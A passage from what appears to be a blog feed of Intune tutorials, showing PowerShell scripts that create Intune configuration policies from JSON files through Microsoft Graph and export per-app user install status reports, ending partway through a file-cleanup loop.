<h2 id="create-a-intune-configuration-catalog-policy-with-json-source" tabindex="-1">Create a Intune Configuration Catalog Policy with json source <a class="header-anchor" href="#create-a-intune-configuration-catalog-policy-with-json-source" aria-label="Permalink to &quot;Create a Intune Configuration Catalog Policy with json source&quot;">&ZeroWidthSpace;</a></h2>
<h3 id="why-the-external-source" tabindex="-1">Why the external source? <a class="header-anchor" href="#why-the-external-source" aria-label="Permalink to &quot;Why the external source?&quot;">&ZeroWidthSpace;</a></h3>
<p>Modularity makes the code more flexible and gives 3rd Partys the possibility to make changes without
understanding programing language. In Addition, it is easier for you to apropriate the Code for another program.</p>
<div class="tip custom-block"><p class="custom-block-title">TIP</p>
<p>To get the configuration you want in a file, you can just create the Configuration Policy in Intune and export it afterswards to .json.
But keep in mind, that the .json format delivert by intune will not be ready to be read by powershell.
You need to go through it and check that it has the right patterns shown below (':' instead of '=', ',' at the end of lines and &quot; or ' around text.)</p>
</div>
<h3 id="code" tabindex="-1">Code <a class="header-anchor" href="#code" aria-label="Permalink to &quot;Code&quot;">&ZeroWidthSpace;</a></h3>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Connect to Microsoft Graph</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Connect-MgGraph</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scopes </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'DeviceManagementConfiguration.ReadWrite.All'</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Define the Graph URI</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $uri </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> 'https://graph.microsoft.com/beta/deviceManagement/configurationPolicies'</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  </span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Define the path to the directory containing your JSON files</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$ScriptPath </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$MyInvocation</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.MyCommand).Path</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$ScriptDirectory </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Split-Path</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $ScriptPath </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Parent</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$jsonFilesDirectory </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$ScriptDirectory</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">\[your subfolder]]"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Get all JSON files in the directory</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$jsonFiles </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-ChildItem</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Path $jsonFilesDirectory </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Filter </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">*</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.json</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Loop through each JSON file</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">foreach</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ($jsonFile </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $jsonFiles) {</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">		# Read the content of the JSON file and convert it to a PowerShell object</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">		$Json </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-Content</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Path $jsonFile.FullName</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">		Invoke-MgGraphRequest</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Method Post </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Uri $uri </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ContentType </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'Application/Json'</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Body $json</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div><h3 id="json-example" tabindex="-1">Json Example <a class="header-anchor" href="#json-example" aria-label="Permalink to &quot;Json Example&quot;">&ZeroWidthSpace;</a></h3>
<div class="language-json vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">json</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    "description"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:  </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"This Policy mangages the update timings of the Microsoft Defender AntiVirus components. "</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">,</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    "name"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:  </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"Windows_Defender"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">,</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    "platforms"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:  </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"windows10"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">,</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    "technologies"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:  </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"mdm"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">,</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    "settings"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:  [</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">                     {</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">                         "@odata.type"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:  </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"#microsoft.graph.deviceManagementConfigurationSetting"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">,</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">                         "settingInstance"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:  {</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">                                                 "@odata.type"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:  </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"#microsoft.graph.deviceManagementConfigurationChoiceSettingInstance"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">,</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">                                                 "settingDefinitionId"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:  </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"device_vendor_msft_defender_configuration_engineupdateschannel"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">,</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">                                                 "settingInstanceTemplateReference"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:  </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">null</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">,</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">                                                 "choiceSettingValue"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:  {</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">                                                                            "@odata.type"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:  </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"#microsoft.graph.deviceManagementConfigurationChoiceSettingValue"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">,</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">                                                                            "settingValueTemplateReference"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:  </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">null</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">,</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">                                                                            "value"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:  </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"device_vendor_msft_defender_configuration_engineupdateschannel_0"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">,</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">                                                                            "children@odata.type"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:  </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"#Collection(microsoft.graph.deviceManagementConfigurationSettingInstance)"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">,</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">                                                                            "children"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:  [</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">                                                                                         ]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">                                                                        }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">                                             }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">                     }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">                 ]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div>]]></content:encoded>
            <enclosure url="https://michaelsendpoint.com/powershell_intune/extension.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Intune - App User install status report | Powershell]]></title>
            <link>https://michaelsendpoint.com/powershell/user_app_install_report.html</link>
            <guid>https://michaelsendpoint.com/powershell/user_app_install_report.html</guid>
            <pubDate>Sun, 15 Dec 2024 20:54:09 GMT</pubDate>
            <description><![CDATA[This article shows how to use the Microsoft Graph to get user app install status reports.]]></description>
            <content:encoded><![CDATA[<h1 id="intune-app-user-install-status-report" tabindex="-1">Intune - App User install status report <a class="header-anchor" href="#intune-app-user-install-status-report" aria-label="Permalink to &quot;Intune - App User install status report&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="introduction" tabindex="-1">Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p>Managing application installations is crucial for any organization.
Microsoft Intune, combined with Microsoft Graph, offers powerful tools to monitor and report on app installations.
However, Intune provides these reports per app, requiring you to click into each one individually.
In this article, we'll show you how to extract the Intune App user install status data using Microsoft Graph and compile it into an Excel file for a complete overview.
This approach will help you track deployments across your organization.</p>
<h2 id="creating-the-script" tabindex="-1">Creating the script <a class="header-anchor" href="#creating-the-script" aria-label="Permalink to &quot;Creating the script&quot;">&ZeroWidthSpace;</a></h2>
<h3 id="getting-the-information" tabindex="-1">Getting the information <a class="header-anchor" href="#getting-the-information" aria-label="Permalink to &quot;Getting the information&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>First we need the info about which folder to use from the user.</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">Param</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  [</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Parameter</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70">Mandatory</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$True</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70">Position</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  [</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">string</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]$folder</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)</span></span></code></pre>
</div><ol start="2">
<li>Second we need to import the nessary modules.</li>
<li>And third connect to the Microsoft Graph.</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Import-Module</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Microsoft.Graph.Beta.DeviceManagement.Actions</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Connect-MgGraph</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scopes </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'DeviceManagementConfiguration.Read.All, User.Read.All'</span></span></code></pre>
</div><ol start="4">
<li>Next we download the installation information for each app.</li>
</ol>
<div class="tip custom-block"><p class="custom-block-title">TIP</p>
<p>The command 'Get-MgBetaDeviceManagementReportUserInstallStatusReport' is still in beta and has a few problems at the moment.<br>
Thats why we need to download the data in chunks of 50.<br></p>
</div>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Get all apps to iterate through them</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$apps </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-MgDeviceAppManagementMobileApp</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> |</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> select displayname</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> id</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">foreach</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ($app </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $apps) {</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    # Output the first file which will have the first 50 entries, but also a total row count.</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    $outfile </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$folder</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">\</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$app.DisplayName</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">_1.json"</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    Get-MgBetaDeviceManagementReportUserInstallStatusReport</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Filter </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"(ApplicationId eq '</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$app.id</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">')"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">outfile $outfile  </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">top </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">50</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    $count </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 50</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    $iteration </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 1</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    # Read the content of the JSON file and convert it to a PowerShell object</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    $Json </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-Content</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Path $outfile </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> ConvertFrom-Json</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    # Get the same app again and again with a different starting point, until we have all the data.</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ($json.totalrowcount </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-gt</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $count){</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">        Do</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> {</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">            $iteration </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $iteration </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">+</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 1</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">            Get-MgBetaDeviceManagementReportUserInstallStatusReport</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Filter </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"(ApplicationId eq '</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$app.id</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">')"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">outfile </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$folder</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">\</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$app.DisplayName</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">_</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$iteration</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">.json"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">skip $count </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">top </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">50</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">            $count </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $count </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">+</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 50</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        } </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">until</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ($count </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-gt</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $json.totalrowcount)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div><h3 id="deleting-superfluous-files" tabindex="-1">Deleting superfluous files <a class="header-anchor" href="#deleting-superfluous-files" aria-label="Permalink to &quot;Deleting superfluous files&quot;">&ZeroWidthSpace;</a></h3>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>The script puts out a lot of files for intune apps that you didnt nessaryly use.<br>
I can`t say if this is expected behaviour or a sideproduct of the beta module.<br>
But we need to clean them up first before we can procede.</p>
</div>
<ol>
<li>This will delete the default Intune folder and the Office file that will be created, and otherwise it will cause problems later on.</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Remove-Item</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">path </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$folder</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">\iAnnotate for Intune"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">confirm:</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$false</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Get-ChildItem</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Path $folder </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Filter </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"*]*"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> |</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> remove-item</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">confirm:</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$false</span></span></code></pre>
</div><ol start="2">
<li>At the moment, the script will also create some corrupt files without extensions, which need to be deleted.</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$files </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-ChildItem</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Path $folder </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Filter </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">*</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">foreach</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">($file </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $files){</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">  Remove-Item</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">path $file.fullname </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">confirm:</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$false</span></span>
